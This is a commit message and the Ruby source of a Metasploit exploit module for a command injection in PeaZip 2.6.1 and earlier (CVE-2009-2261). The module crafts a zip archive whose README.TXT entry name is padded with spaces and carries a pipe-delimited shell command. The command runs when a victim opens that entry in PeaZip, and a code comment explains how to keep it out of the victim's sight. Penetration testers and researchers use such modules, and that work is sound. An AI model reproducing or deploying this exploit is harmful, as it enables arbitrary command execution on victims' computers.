add exploit module for cve-2009-2261 - first consumer of zip library!
git-svn-id: file:///home/svn/framework3/trunk@8440 4d416f70-5f16-0410-b530-b9f4589650daunstable
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'rex/zip'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PeaZip <= 2.6.1 Zip Processing Command Injection',
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'Description' => %q{
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This module exploits a command injection vulnerability in PeaZip. All
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versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
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version 2.6.1 on Windows.
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In order for the command to be executed, an attacker must convince someone to
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open a specially crafted zip file with PeaZip, and access the specially file via
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double-clicking it. By doing so, an attacker can execute arbitrary commands
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as the victim user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Nine:Situations:Group::pyrokinesis',
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'jduck'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-2261' ],
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[ 'OSVDB', '54966' ],
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[ 'URL', 'http://peazip.sourceforge.net/' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/8881' ]
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],
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'Platform' => ['unix', 'win', 'linux'],
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet',
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}
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},
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'Targets' =>
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[
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['Automatic', { }],
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],
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'DisclosureDate' => 'Jun 05 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),
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], self.class)
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end
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def exploit
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# NOTE: using a command line containing / or \ will result in the command
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# being easily visible to the victim
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cmd = datastore['CMD']
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fname = "README.TXT"
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rest = "\"|#{cmd}|.txt"
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fname << " " * (255 - fname.length - rest.length)
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fname << rest
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content = rand_text_alphanumeric(rand(1024))
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zip = Rex::Zip::Archive.new
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zip.add_file(fname, content)
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(zip.pack)
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end
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end
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